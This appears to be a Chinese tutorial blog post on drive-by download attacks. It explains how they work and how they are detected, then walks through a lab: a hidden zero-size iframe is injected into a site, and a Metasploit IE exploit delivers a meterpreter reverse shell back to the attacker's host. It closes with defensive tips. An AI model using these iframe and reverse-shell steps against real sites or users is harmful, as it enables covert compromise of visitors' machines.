网站挂马原理及实战
注:本文仅供学习参考
网页挂马简介 网页挂马指的是把一个木马程序上传到一个网站里面，然后用木马生成器生成一个网马，放到网页空间里面，再加代码使得木马在打开网页时运行。
网页挂马工作原理 作为网页挂马的散布者，其目的是将木马下载到用户本地并进一步执行，当木马得到执行后，就意味着会有更多的木马被下载，且进一步被执行。这样就进入一个恶性的循环，从而使用户的电脑遭到攻击和控制。为达到目的首先要将木马下载到本地。
常见方式
1将木马伪装为页面元素，木马则会被浏览器自动下载到本地。
2利用脚本运行的漏洞下载木马。
3利用脚本运行的漏洞释放隐含在网页脚本中的木马。
4将木马伪装成缺失的组件，或和缺失的组件捆绑在一起，如flash播放插件。这样既达到了下载的目的，下载的组件又会被浏览器自动执行。
5通过脚本运行调用某些com组件，利用其漏洞下载木马。
6在渲染页面内容的过程中，利用格式溢出释放木马，如ani格式溢出漏洞。
7在渲染页面内容的过程中，利用格式溢出下载木马，如flash9.0.115播放漏洞。检测方式
1特征匹配：将网页挂马的脚本按脚本病毒进行检测，但是网页脚本变形方式、加密方式比起传统的PE格式病毒更为多样，检测起来也更加困难。
2主动防御：当浏览器要进行某些动作时，作出提示，如下载了某插件的安装包，会提示是否运行。比如浏览器创建暴风影音播放器时，提示是否允许运行，大多数情况下用户会点击是，网页木马会因此得到执行。
3检查父进程是否为浏览器，这种方法很容易被躲过且会对很多插件造成误报。网站挂马实验 准备win7实验机和kali kali ip地址为10.1.1.101 1.将以下代码插进我们准备的网站中
<iframe src=地址 width=0 height=0></iframe>将宽度高度都设为0，这个地址就会变成透明，不查看源代码的话是发现不了的 这里的网马地址设置为http://10.1.1.101:8060/test.html当用户访问到我们这个地址时，会自动访问http://10.1.1.101:8060/test.html，木马会被浏览下载到本地
2.利用ms11_003IE漏洞攻击win7主机 执行命令
use exploit/windows/browser/ ms11_003_ie_css_import’，选择漏洞利用EXP
设置SRVPORT URIPATH与网马中的src一致
set SRVPORT 8060
set URIPATH test.html
运行命令set payload windows/meterpreter/reverse_tcp 设置攻击载荷进行回连
set lhost 10.1.1.101 设置回连的IP地址
set lport 1234设置回连端口号
show options
最后设置完看下图
执行run命令 好戏上场 这时打开win7实验机，打开IE，模拟受害者访问http://10.1.1.101/index.html
在kali端成功看到受害者主机上线
成功使用sysinfo查看主机信息
使用Screenshot查看win7实验机的屏幕截图(win7待机了)
包括后面收集信息属于后渗透环节,本文不做讨论。
防御措施
1对开放上传附件功能的网站，一定要进行身份认证，并只允许信任的人使用上传程序。
2保证所使用的程序及时地更新。
3不要在前台网页加注后台管理程序登录页面的链接。
4时常备份数据库等文件，但是不要把备份数据放在程序默认的备份目录下。
5管理员的用户名和密码要有一定复杂性。
6 IIS中禁止目录的写入和执行功能，可以有效防止asp木马。
7在服务器、虚拟主机控制面板设置执行权限选项中，将有上传权限的目录取消asp的运行权限。
8创建一个robots.txt上传到网站根目录，Robots能够有效防范利用搜索引擎窃取信息的骇客。本文参与 腾讯云自媒体分享计划，分享自微信公众号。
原始发表：2020-03-04，如有侵权请联系 cloudcommunity@tencent.com 删除
评论
登录后参与评论
推荐阅读
目录
相关产品与服务
轻量应用服务器
轻量应用服务器（TencentCloud Lighthouse）是新一代开箱即用、面向轻量应用场景的云服务器产品，助力中小企业和开发者便捷高效的在云端构建网站、Web应用、小程序/小游戏、游戏服、电商应用、云盘/图床和开发测试环境，相比普通云服务器更加简单易用且更贴近应用，以套餐形式整体售卖云资源并提供高带宽流量包，将热门开源软件打包实现一键构建应用，提供极简上云体验。